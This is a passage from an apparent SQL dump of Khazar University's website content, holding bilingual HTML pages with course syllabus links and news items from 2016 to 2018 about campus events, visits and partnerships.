href=\"http://www.khazar.org/files/edu_depart/2017-2018%20PAYIZ%20T%C6%8FHS%C4%B0L%C6%8F%20G%C4%B0R%C4%B0%C5%9E%20T%C6%8FDR%C4%B0S%20PLANI.pdf\">EDU 101: Introduction to Education</a>&nbsp;A(3&nbsp;credits )&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/Introduction%20to%20Education_UB_Autumn_AZ_07.09.2017.pdf\">EDU 101: Introduction to Education</a> B&nbsp;(3&nbsp;credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/Elza%20xTeaching_Methods%20of%20Azerbaijani%20Language.pdf\">EDU 403: Teaching Methods of Azerbaijani&nbsp;Language</a> (3 credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/aytac%20s%20edu-p-fall-2017.pdf\">PSYC 304: Educational Psychology</a> B&nbsp;(3 credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/Teaching%20methods%20of%20history%202017.pdf\">EDU 437: Teaching Methods of History</a> (3 credits)&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/Xuraman%20xanim%20sillabus%20Xezer%20yeni.pdf\">EDU 438: Teaching Methods of Geography</a> (3 credits)&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/Basics%20of%20Eductional%20Psychology%20syllabus-Mohan.pdf\">PSYC 304: Educational Psychology</a> A (3 credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/syllabus.pdf\">EDU 407: Practicum</a> (3 credits)&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/2017-18%20PYZ%20B%C4%B0O%20TDRS%20PANI.pdf\">EDU 438: Teaching Methods of Biology</a> (3 credits)&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/syllabus%20world%20edu%20systems.pdf\">EDU 612: World Education Systems</a> (3 credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/Syllabus%20Teaching%20and%20Learning%20in%20HE%C4%B0.pdf\">EDU 512: Teaching and Learning in Higher Education Institutions</a> (3 credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/gunay%20a%20sillabus%20bakalavr.pdf\">EDU 681: Educational Policy and Strategies</a> (3 credits)</p><p><br></p><p><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Konulcurriculum%20design%20and%20asssessment%20(syllabus)%202017%20Spring.pdf\"></a><br></p>'),(2411,1465,'en','Syllabus','Syllabus','<h3>Spring 2018</h3><p><a href=\"http://www.khazar.org/files/edu_depart/Curriculum_and_Assessment_Strategies_Konul_Mahyaddinova.pdf\">Curriculum and Assessment Strategies</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Edebiyyatin_Tedrisi_Metodikasi_Afet_S.pdf\">Teaching methods of Literature</a><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Musiqi_MetodikasininTedrisi_Ramina_Aghayeva.pdf\">Musiqi metodikasının tədrisi</a>  <br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Telim_metodlar%C4%B1_Konul_Mehyeddinova.pdf\">Teaching Methods</a></p><p><a href=\"http://www.khazar.org/files/edu_depart/Tehsil_Psixologiyasi_Anar_Babayev.pdf\">Educational Psychology</a></p><p><a href=\"http://www.khazar.org/files/edu_depart/Introduction_to_Education_Ulkar_Bayramova.pdf\">Introduction&nbsp;to&nbsp;Education</a></p><p><a href=\"http://www.khazar.org/files/edu_depart/Classroom_management_Goshgar_Maharramov.pdf\">Classroom management</a>  <br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Historical_and%20Philosophical_Foundations_of_Education_Qosqar_Maharramov.pdf\">Historical and Philosophical Foundations of Education</a><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Introduction_to_Education_Qosqar_Maharramov.pdf\">Introduction&nbsp;to&nbsp;Education</a><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Aktiv_Pedaqoji_T%C9%99cr%C3%BCb%C9%99_Sevda_%C4%B0smay%C4%B1lova.pdf\">Aktiv Pedaqoji Təcrübə</a><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Research_methodology_QosqarMaharramov.pdf\">Research Methodology</a><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Kurikulum_ve_qiymetl%C9%99ndirme_strategiyasi_Xuraman_Nagizade.pdf\">Kurikulum və qiymətləndirmə strategiyası</a><br></p><p><br></p><br><h3><br></h3><h3>Fall 2017</h3><p><a href=\"http://www.khazar.org/files/edu_depart/2017-2018%20PAYIZ%20T%C6%8FHS%C4%B0L%C6%8F%20G%C4%B0R%C4%B0%C5%9E%20T%C6%8FDR%C4%B0S%20PLANI.pdf\">EDU 101: Introduction to Education</a>&nbsp;A(3&nbsp;credits )&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/Introduction%20to%20Education_UB_Autumn_AZ_07.09.2017.pdf\">EDU 101: Introduction to Education</a> B&nbsp;(3&nbsp;credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/Elza%20xTeaching_Methods%20of%20Azerbaijani%20Language.pdf\">EDU 403: Teaching Methods of Azerbaijani&nbsp;Language</a> (3 credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/aytac%20s%20edu-p-fall-2017.pdf\">PSYC 304: Educational Psychology</a> B&nbsp;(3 credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/Teaching%20methods%20of%20history%202017.pdf\">EDU 437: Teaching Methods of History</a> (3 credits)&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/Xuraman%20xanim%20sillabus%20Xezer%20yeni.pdf\">EDU 438: Teaching Methods of Geography</a> (3 credits)&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/Basics%20of%20Eductional%20Psychology%20syllabus-Mohan.pdf\">PSYC 304: Educational Psychology</a> A (3 credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/syllabus.pdf\">EDU 407: Practicum</a> (3 credits)&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/2017-18%20PYZ%20B%C4%B0O%20TDRS%20PANI.pdf\">EDU 438: Teaching Methods of Biology</a> (3 credits)&nbsp;</p><p><a href=\"http://www.khazar.org/files/edu_depart/syllabus%20world%20edu%20systems.pdf\">EDU 612: World Education Systems</a> (3 credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/Syllabus%20Teaching%20and%20Learning%20in%20HE%C4%B0.pdf\">EDU 512: Teaching and Learning in Higher Education Institutions</a> (3 credits)</p><p><a href=\"http://www.khazar.org/files/edu_depart/gunay%20a%20sillabus%20bakalavr.pdf\">EDU 681: Educational Policy and Strategies</a> (3 credits)</p><p><br></p><p><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Konulcurriculum%20design%20and%20asssessment%20(syllabus)%202017%20Spring.pdf\"></a><br></p>'),(2412,1054,'az','Elanlar','Elanlar',''),(2413,1455,'en','ESFIDIP Project Gives Training Seminar for Staff Members','On October 21, 2016, a training seminar was held for Khazar University staff members as part of the “Establishment of a Foundation for the Integration of Disabled People...','<p>On October 21, 2016, a training seminar\r\nwas held for Khazar University staff members as part of the “Establishment of a\r\nFoundation for the Integration of Disabled People into HEIs of Azerbaijan”\r\n(ESFIDIP) Tempus project. During the training, Rima Mammadova, coordinator of\r\nthe Center for Students with Disabilities at Khazar University, spoke about\r\ndisabilities, ethical treatment of students with disabilities, inclusive\r\neducation, the ESFIDIP Tempus project, and volunteer opportunities in the\r\nCenter for Students with Disabilities. </p>\r\n<p>Participants\r\nin the training seminar included Dr. Elza Semedli, Dean of the School of\r\nEducation; Turan Jafarova, Director of International Affairs\r\nOffice; Vafa\r\nAslanova, Vice Dean of the School of Engineering and Applied Sciences; Aysel\r\nGasimova, Assistant to the Dean of the School of Education; Bahar Imanova,\r\nAssistant to the Vice Dean of the School of Economics and Management; Nushaba\r\nTaghiyeva, Assistant to the Dean of the School of Humanities and Social\r\nSciences; Jamila Guliyeva, Librarian; and Sevinj Shafiyeva, Khazar University’s\r\ndesigner. </p>\r\n<p>Participants\r\nin the training shared their own views and provided suggestions.&nbsp;</p>'),(532,350,'az','Payız 2018 Dərs Cədvəli','Payız 2018 Dərs Cədvəli','<p>&nbsp;</p><p><img src=\"/files/15_10_13_images.png\" style=\"width:250px;height:83px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/social/1/Sch_F18.pdf\">Cədvəl_(pdf)_PAYIZ2018</a><a href=\"http://www.khazar.org/files/social/1/Sch_F18.pdf\"></a></p><p><br></p>'),(2212,1354,'az','İraqın Azərbaycandakı səfiri Xəzər Universitetində oldu','2016-cı il sentyabrın 27-də İraqın Azərbaycan Respublikasındakı Fövqəladə və Səlahiyyətli səfiri Dr. Fadhil Awad Jebur al-Shuwai Xəzər Universitetində oldu...','<p>2016-cı il\r\nsentyabrın 27-də İraqın Azərbaycan Respublikasındakı Fövqəladə və Səlahiyyətli\r\nsəfiri Dr. Fadhil Awad Jebur al-Shuwai Xəzər Universitetində oldu,\r\nuniversitetin rektoru Dr. Hassan Niknafs və Beynəlxalq Əlaqələr Şöbəsinin\r\ndirektoru Turan Cəfərova ilə görüşdü.<u1:p></u1:p></p>\r\n<p>Səfir İraq Təhsil\r\nvə Elmi Tədqiqat Nazirliyinin Azərbaycan universitetlərinin diplomunun\r\ntanınması ilə bağlı son qərarı haqqında danışdı və Xəzər Universitetinin İraqda\r\nAzərabyacanın keyfiyytəli təhsil verən aparıcı universitetlərindən biri kimi\r\ntanındığını vurğuladı.&nbsp; <u1:p></u1:p></p>\r\n<p>Daha sonra Xəzər\r\nUniverstinin rektoru Dr. Hassan Niknafs çıxış edərək, universitetdə mövcud olan\r\nproqramlar, onun resursları, laboratoriyaları, tədqiqat potensialı və başqa\r\nvacib akademik aspektlərdən danışdı. Rektor Xəzər Universitetin yeni açılmış\r\nyataqxanası haqqında da məlumat verdi və səfiri yataqxanaya baxmağa dəvət etdi.\r\nTuran Cəfərova son zamanlarda Xəzər Universitetində oxumaq istəyən İraq vətəndaşlarının\r\nsayının nəzərə çarpacaq dərəcədə artdığını qeyd etdi. <u1:p></u1:p></p>\r\n<p>Görüşdən sonra səfir\r\nAzərbaycan Respublikası Mədəniyyət və Turizm&nbsp; Nazirliyi və Heydər Əliyev Fondu\r\ntərəfindən&nbsp; təşkil olunan səkkizinci Üzeyir Hacıbəyov Beynəlxalq Musiqi\r\nFestivalı çərçivəsində (18-27 sentyabr) Xəzər Universiteitn “Mərmər” zalında\r\nbaş tutan konsert proqramında iştirak etdi. Musiqiçiləri və festival\r\niştirakçılarını alqışlayan səfir dəvətə görə Xəzər Universiteti rəhbərliyinə öz\r\nminnətdarlığını bildirdi. &nbsp;<u1:p></u1:p></p>\r\n<u1:p></u1:p>'),(2213,1354,'en','Ambassador of Iraq Visits Khazar University','On September 27, 2016, the Ambassador Extraordinary and Plenipotentiary of Iraq to the Azerbaijan RepublicDr. Fadhil Awad Jebur AL-Shuwai visited Khazar University...','<p>On\r\nSeptember 27, 2016, the Ambassador Extraordinary and Plenipotentiary&nbsp;of Iraq to the Azerbaijan RepublicDr. Fadhil\r\nAwad Jebur AL-Shuwai visited Khazar University to meet with the President, Dr. Hassan Niknafs and the\r\nDirector of the International Affairs Office, Ms. Turan Jafarova. <u1:p></u1:p></p>\r\n<p><u1:p>&nbsp;</u1:p></p>\r\n<p>The Ambassador spoke about the recent\r\ndecision of the Ministry of Higher Education and Scientific Research of Iraqabout the recognition of several universities in\r\nAzerbaijan. He stressed that Khazar University is known in Iraq as one of the\r\nleading universities in Azerbaijan providing high quality education. <u1:p></u1:p></p>\r\n<p><u1:p>&nbsp;</u1:p></p>\r\n<p>Dr. Hassan Niknafs spoke about the\r\nprograms offered at Khazar University, its resources, laboratories, research\r\ncapacity and other important academic aspects.&nbsp; He also provided\r\ninformation about the dormitory of the university that was recently opened and\r\ninvited the Ambassador to visit it. Ms. Turan Jafarova mentioned that the\r\ninterest of Iraqi citizens in studying at Khazar had increased significantly. <u1:p></u1:p></p>\r\n<p><u1:p>&nbsp;</u1:p></p>\r\n<p>After the meeting, the Ambassador\r\nparticipated in the concert program at the\r\nMarble Hall of Khazar University held within the VIII Uzeyir Hacibeyli\r\nInternational Music Festival organized by the Azerbaijan Republic Ministry of\r\nCulture and Tourism and Heydar Aliyev Foundation (September 18-27, 2016). The Ambassador commended\r\nthe musicians and participants of the festival, and he expressed his deep\r\nappreciation and gratitude to the leadership of Khazar University for the invitation.&nbsp;<u1:p></u1:p></p>\r\n<u1:p></u1:p>'),(2214,1355,'az','Tələbələr dərsi müzeydə keçdilər','2016-cı il sentyabrın 27-də Xəzər Universitetinin Təhsil fakültəsinin birinci kurs tələbələri “Arxeologiyaya giriş” fənninin həmin dərsi AMEA Arxeologiya və Etnoqrafiya...','<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il sentyabrın 27-də Xəzər\r\nUniversitetinin Təhsil fakültəsinin birinci kurs tələbələri “Arxeologiyaya\r\ngiriş” fənninin həmin dərsi AMEA Arxeologiya və Etnoqrafiya İnstitutunun\r\nmüzey-sərgi zalında fənn müəllimi Orxan Zamanov tərəfindən ekskursiya şəklində tədris\r\nolundu.<u1:p></u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:.25in;background-image:initial;background-position:initial;background-size:initial;background-repeat:initial;background-attachment:initial;background-origin:initial;background-clip:initial\"\"=\"\">Təcrübi\r\ndəsrin təşkili universitetin Tarix və arxeologiya departamenti tərəfindən həyata\r\nkeçirildi. Dərs tələbələrin ciddi marağına və həvəsinə səbəb oldu.<u1:p></u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:.25in;background-image:initial;background-position:initial;background-size:initial;background-repeat:initial;background-attachment:initial;background-origin:initial;background-clip:initial\"\"=\"\">Ekskursiya\r\nzamanı Azərbaycanda aparılan son arxeoloji tədqiqatlardan və əhəmiyyətli elmi\r\ntapıntılardan bəhs olundu. Tələbələrə başlıca arxeoloji mənbələr və abidələr\r\nhaqqında əyani məlumat verildi.<u1:p></u1:p></p>\r\n<u1:p></u1:p>'),(2215,1355,'en','Student Field Trip to Museum','On September 27, 2016, instructor Orkhan Zamanov coordinated a field trip to the ANAS Archeology and Ethnography Institute’s Museum/Exhibition Hall...','<p style=\"\" mso-margin-top-alt:auto;text-indent:.25in\";margin-bottom:auto\"=\"\">On September 27, 2016, instructor\r\nOrkhan Zamanov coordinated a field trip to the ANAS Archeology and Ethnography\r\nInstitute’s Museum/Exhibition Hall for freshman students in the Introduction to\r\nArcheology class of the School of Education. <u1:p></u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-indent:.25in\";margin-bottom:auto\"=\"\">The field trip was organized by\r\nthe Department of History and Archeology. Students were very interested in the\r\nmuseum. <u1:p></u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-indent:.25in\";margin-bottom:auto\"=\"\">During the trip, students were\r\nintroduced to recent archeological research in Azerbaijan and significant\r\nscientific findings. They were given firsthand information about archeological\r\nsources and monuments.&nbsp;<u1:p></u1:p></p>'),(2216,1356,'az','Müəllimimizə əməkdar artist fəxri adı verilmişdir','Azərbaycan Respublikası Prezidentinin 22 sentyabr 2016-cı il.tarixli  sərəncamı ilə Fikrət Əmirov adına Azərbaycan Dövlət Mahnı və Rəqs...','<p>Azərbaycan Respublikası Prezidentinin 22 sentyabr\r\n2016-cı il.tarixli&nbsp; sərəncamı ilə Fikrət\r\nƏmirov adına Azərbaycan Dövlət Mahnı və Rəqs Ansamblının üzvlərinə&nbsp;fəxri\r\nadlar verilmişdir. Təltif olunanalar arasında Xəzər Universitetinin müəllimi\r\nTelman Əliyev də vardır. O, əməkdar artist fəxri adına layiq görülmüşdür. </p>\r\n<p>Müəllimizi təbrik edir, ona yeni uğurlar arzulayırıq.<br>\r\n<br>\r\n</p>'),(2217,1357,'az','Xəzər Universiteti Üzeyir Hacıbəyli Beynəlxalq Musiqi Festivalında','Azərbaycan Respublikası Mədəniyyət və Turizm Nazirliyi və Heydər Əliyev Fondunun təşkilatçılığı ilə sentyabrın 18-27 - də keçirilən VIII Üzeyir Hacıbəyli...','<p>Azərbaycan Respublikası Mədəniyyət və Turizm Nazirliyi\r\nvə Heydər Əliyev Fondunun təşkilatçılığı ilə sentyabrın 18-27 - də keçirilən\r\nVIII Üzeyir Hacıbəyli Beynəlxalq Musiqi Festivalı çərçivəsində sentyabrın 23-də\r\nÜzeyir Hacıbəylinin ev muzeyində növbəti tədbir keçirildi.</p>\r\n<p>Tədbiri muzeyin direktoru, Əməkdar incəsənət xadimi, bəstəkar\r\nSərdar Fərəcov açaraq,&nbsp; dahi bəstəkarın həyat\r\nvə fəaliyyəti haqqında geniş məlumat verdi. Xəzər universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı görkəmli\r\nmusiqiçinin çoxşaxəli yaradıcılığından, əsərləri əsasında çəkilmiş filmlərdən\r\ndanışdı, onların 80-dən çox ölkədə nümayiş olunduğunu bildirdi.</p>\r\n<p>Çıxışlardan sonra Xəzər Universitetinin Musiqi və incəsənət\r\ndepartamentinin müdiri, pianoçu Zülfiyyə Sadıqova və Bratislava Musiqi\r\nAkademiyasının doktorantı, skripkaçı Fərhad Aşumov Azərbaycan və dünya bəstəkarlarının\r\nəsərlərindən fraqmentlər ifa etdilər.</p>\r\n<p>Sentyabrın 26-da festival çərçivəsində Kanera və orqan\r\nmusiqisi zalında keçirilmiş konsertdə də Zülfiyyə Sadıqova və Fərhad\r\nAşumov&nbsp; iştirak etmişlər.&nbsp;</p>'),(2541,1533,'az','“AzərTac” gələn il Xəzər Universitetində xüsusi sertifikat proqramına başlanılacağı ilə bağlı xəbər yaydı','Azərbaycan Dövlət İnformasiya Agentliyinin (AzərTAc) rəsmi internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Azərbaycan Dövlət İnformasiya\r\nAgentliyinin (AzərTAc) rəsmi internet səhifəsində Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlının İsveçrə Dövlət Əməkdaşlıq və İnkişaf Katibliyinin proqram\r\nmeneceri Reto Veyermenin başçılıq etdiyi nümayəndə heyəti ilə görüşündə gələn\r\nil xüsusi sertifikat proqramına başlanılması barədə müzakirələr aparıldığı ilə\r\nbağlı xəbər yayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbəri tam şəkildə bu lin\r\nvasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Xezer_Universitetinde_xususi_sertifikat_proqramina_baslanilacaq-1007697\">http://azertag.az/xeber/Xezer_Universitetinde_xususi_sertifikat_proqramina_baslanilacaq-1007697</a>.</p>'),(2218,1358,'az','Xəzər Universiteti “Maarifçi” Tələbə Kredit Fondu ilə əməkdaşlıq edəcək','Marja.az xəbər saytının verdiyi məlumata görə, Xəzər Universiteti ilə “Maarifçi” Tələbə Kredit Fondu arasında tərəfdaşlıq müqaviləsi imzalanmışdır...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white;vertical-align:baseline\"\"=\"\"><strong><em>Marja.az</em></strong> xəbər saytının verdiyi məlumata görə, Xəzər Universiteti ilə\r\n“Maarifçi” Tələbə Kredit Fondu arasında tərəfdaşlıq müqaviləsi imzalanmışdır.\r\nTərəfdaşlığa əsasən universitetin aztəminatlı ailələrdən olan tələbələri də\r\nfondun təqdim etdiyi təhsil kreditlərindən yararlana biləcəklər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;background:white;vertical-align:baseline\"\"=\"\">Xəzər Universiteti fonda\r\nqoşulan ilk özəl universitetdir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;background:white;vertical-align:baseline\"\"=\"\">Bu haqda daha geniş məlumatı bu\r\nlink vasitəsilə əldə etmək olar:</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;background:white;vertical-align:baseline\"\"=\"\"><a href=\"http://www.marja.az/financial/news/found/item/202912-daha-2-universitetin-t%C9%99l%C9%99b%C9%99l%C9%99ri-t%C9%99hsil-kreditl%C9%99rind%C9%99n-yararlana-bil%C9%99c%C9%99k.html#Kalibri\">http://www.marja.az/financial/news/found/item/202912-daha-2-universitetin-tələbələri-təhsil-kreditlərindən-yararlana-biləcək.htm</a>. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(2219,1358,'en','Khazar University to Partner with Maarifchi Student Credit Foundation','As reported by the news site Marja.az, Khazar University signed a contract with the Maarifchi Student Credit Foundation...','<p>As reported by the news site Marja.az, Khazar University\r\nsigned a contract with the Maarifchi Student Credit Foundation. On the basis of\r\nthe agreement, low-income families will be able to obtain student loans. <u1:p></u1:p></p>\r\n<p>Khazar University is the first private university to\r\npartner with the foundation. <u1:p></u1:p></p>\r\n<p>More information is available at the following link: <u1:p></u1:p></p>\r\n<p style=\"\" text-indent:.25in;vertical-align:baseline;background-image:initial;background-position:initial;background-size:initial;background-repeat:initial;background-attachment:initial;background-origin:initial;background-clip:initial\"\"=\"\"><a href=\"http://www.marja.az/financial/news/found/item/202912-daha-2-universitetin-t%C9%99l%C9%99b%C9%99l%C9%99ri-t%C9%99hsil-kreditl%C9%99rind%C9%99n-yararlana-bil%C9%99c%C9%99k.html#Kalibri\">http://www.marja.az/financial/news/found/item/202912-daha-2-universitetin-tələbələri-təhsil-kreditlərindən-yararlana-biləcək.htm</a>.&nbsp;<u1:p></u1:p></p>\r\n<u1:p></u1:p>'),(2220,1357,'en','Khazar University in Uzeyir Hajibeyli International Music Festival ','As part of the VIII Uzeyir Hajibeyli International Music Festival organized by the Azerbaijan Republic Ministry of Culture and Tourism and by the Heydar Aliyev...','<p>As part of the\r\nVIII Uzeyir Hajibeyli International Music Festival organized by the Azerbaijan\r\nRepublic Ministry of Culture and Tourism and by the Heydar Aliyev Foundation on\r\nSeptember 18-27, 2016, a concert was held on September 23 in the Uzeyir\r\nHajibeyli House Museum. <u1:p></u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;background-image:initial;background-position:initial;background-size:initial;background-repeat:initial;background-attachment:initial;background-origin:initial;background-clip:initial\"\"=\"\">Meritorious Artist Sardar Farajov (Director of the Uzeyir\r\nHajibeyli House Museum) opened the event with a speech about the genius\r\ncomposer’s life and works. Then Professor Hamlet Isaxanli, founder of Khazar\r\nUniversity and the Chairman of its Board of Directors and Trustees, spoke about\r\nfilms that have been made to show the composer’s multifaceted activities,\r\nemphasizing that these films have been shown in over 80 countries. <u1:p></u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;background-image:initial;background-position:initial;background-size:initial;background-repeat:initial;background-attachment:initial;background-origin:initial;background-clip:initial\"\"=\"\">After the speeches, performances of pieces by world composers\r\nwere made by Associate Professor Zulfiyya Sadigova, pianist and Head of the\r\nDepartment of Music and Fine Arts at Khazar University, and violinist Ferhad\r\nAshumov, PhD student at Bratislava Music Academy.<u1:p></u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;background-image:initial;background-position:initial;background-size:initial;background-repeat:initial;background-attachment:initial;background-origin:initial;background-clip:initial\"\"=\"\">As part of the same festival, Zulfiyya Sadigova and Farhad\r\nAshumov also performed in a concert on September 26 in the Chamber and Organ\r\nMusic Hall.&nbsp;<u1:p></u1:p></p>'),(2221,1356,'en','Khazar Instructor Awarded Title of Meritorious Artist ','By an order of the President of the Azerbaijan Republic on September 22, 2016, members of the Fikrat Amirov Azerbaijan State Song...','<p>By\r\nan order of the President of the Azerbaijan Republic on September 22, 2016,\r\nmembers of the Fikrat Amirov Azerbaijan State Song and Dance Ensemble were\r\ngiven honorary titles. Among those awarded was Telman Aliyev, instructor at\r\nKhazar University. He was given the title of Meritorious Artist. <u1:p></u1:p></p>\r\n<p>We\r\ncongratulate our instructor on this accomplishment and wish him further\r\nsuccess.&nbsp;<u1:p></u1:p></p>\r\n<u1:p></u1:p>'),(2222,1359,'az','Xəzər Universitetində narkomaniya əleyhinə tədbir keçirildi','2016-cı il sentyabrın 29-da “Jurnalistlər Ekstremal Şəraitdə“ İctimai Birliyi Azərbaycan Respublikasının Prezidenti yanında QHT-lərə Dövlət...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil sentyabrın 29-da “Jurnalistlər Ekstremal Şəraitdə“ İctimai Birliyi Azərbaycan\r\nRespublikasının Prezidenti yanında QHT-lərə Dövlət Dəstəyi Şurasının maliyyə dəstəyi\r\nilə “Narkomaniyanın insanlığa vurduğu bəlalardan xilas olma yollarının\r\naxtarılması ilə bağlı tədbirlərin təşkili və video çarxların hazırlanması” adlı\r\nlayihəsini Xəzər Universitetində həyata keçirdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Layihənin\r\nməqsədi qlobal problemlərdən biri olan narkomaniya ilə mübarizədə ictimai fəallığı\r\nartırmaq üçün cəmiyyəti maarifləndirmək idi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Layihənin\r\nmüzakirəsində universitetin Humanitar və sosial elmlər fakültəsinin və Mühəndislik\r\nvə tətbiqi elmlər fakültəsinin tələbələri fəal iştirak etdilər.&nbsp;</p>'),(2345,1426,'az','Fulbright təqaüdü ilə ingilis dili müəllimlərinə yardım edəcək','Xəzər Universitetinə Fulbright proqramı çərçivəsində 2106-2017-ci təhsil ilində yerli ingilis dili müəllimlərinə yardım edəcək Mr. James Millar adlı yeni ingilis dili müəllimi qoşuldu...','<p>Xəzər\r\nUniversitetinə <strong><em>Fulbright</em></strong> proqramı çərçivəsində\r\n2106-2017-ci təhsil ilində yerli ingilis dili müəllimlərinə yardım edəcək Mr. James Millar adlı yeni ingilis\r\ndili müəllimi qoşuldu. </p>\r\n<p>James Millar beynəlxalq əlaqələr üzrə bakalavr dərəcəsini\r\nMiçiqan Dövlət Universitetindən almışdır. O, burada, eyni zamanda, rus dili,\r\nAvrasiyaşünaslıq və beynəlxalq inkişaf üzrə də təhsil almışdır. Daha sonra\r\norada iki illik bir müddətdə Avropa, rus dili və Avropaşünaslıq mərkəzində eləcə\r\ndə, islamşünaslıq proqramı üzrə tədqiqat assistenti kimi çalışmışdır. James\r\nMillar&nbsp; Azərbaycan, Türkiyə, Şri-Lanka, Hindistan və Latviyada da müxtəlif\r\nakademik proqramlarda iştirak etmişdir. </p>\r\n<p>Hazırda James Millarin Xəzər Universitetindəki fəaliyyətinin\r\nəsas hissəsini İngilis dili və ədəbiyyatı departamentində çalışan və ingilis\r\ndilini tədris edən müəllimlərə dərsdə və dərsdənkənar yardım etmək təşkil\r\nedir.&nbsp; Millar, eyni zamanda, ingilis dilində danışıq klubuna da rəhbərlik\r\nedir. Yaxın gələcəkdə James Millar mədəniyyətlərarası anlaşmanı daha da inkişaf\r\netdirmək və ingilis dili bacarıqlarının inkişafına töhfə vermək üçün müxtəlif\r\nformalı mədəniyyət tədbirləri və seminarlar keçirməyi planlaşdırır.</p>\r\n<p><strong><em>Fulbright </em></strong>ABŞ\r\nDövlət departamenti tərəfindən maliyyələşdirilən və ABŞ-ın Bakıdakı səfirliyi tərəfindən\r\nidarə olunan proqramdır. Proqram universiteti yeni bitirən məzunlara xaricdə\r\ningilis dilini qeyri-ingilisdilli tələbələrə tədris edən müəllimlərə yardım etməyə\r\nimkan verir. Bu proqram çərçivəsində ingilis dilini tədris edən şəxslər həm də\r\nABŞ-ın “mədəniyyət səfirləri” rolunda çıxış edirlər. </p>\r\n<p><strong><em>&nbsp;</em></strong></p>'),(533,351,'az','Payız 2018 Dərs Yükü','Payız 2018 Dərs Yükü','<p><br></p><p><img src=\"http://www.khazar.org/files/15_10_14_textbooks.jpg\"><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/social/1/CourseLoad_F18-.xlsx\">DƏRS_YÜKÜ_PAYIZ_2018&nbsp;</a><a href=\"http://www.khazar.org/files/social/1/CourseLoad_F18-.xlsx\"></a></p><p><br></p>'),(3129,1849,'en','Courses','Courses',''),(3130,1850,'en','Degree program','Degree program',''),(3131,1851,'en','Research','Research',''),(3132,1852,'en','Equipment','Equipment','<h4><br></h4><h4>ZNC Electro Discharge Machine</h4><p><img src=\"/files/letters/eq1.jpg\" style=\"border:0px #000000;width:300px;height:428px;float:left;vertical-align:baseline;margin:7px\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h4><br></h4><div><br></div><h4>SVM – 1 VMC Milling Machine&nbsp;</h4><p><img src=\"/files/letters/eq2.jpg\" style=\"border:0px  #000000;width:600px;height:287px;margin:7px;vertical-align:baseline\"></p><p><br></p><h4>ASTM G99 Pin-on-Disk Tribotester&nbsp;</h4><p><img src=\"/files/letters/eq3.jpg\" style=\"border:0px 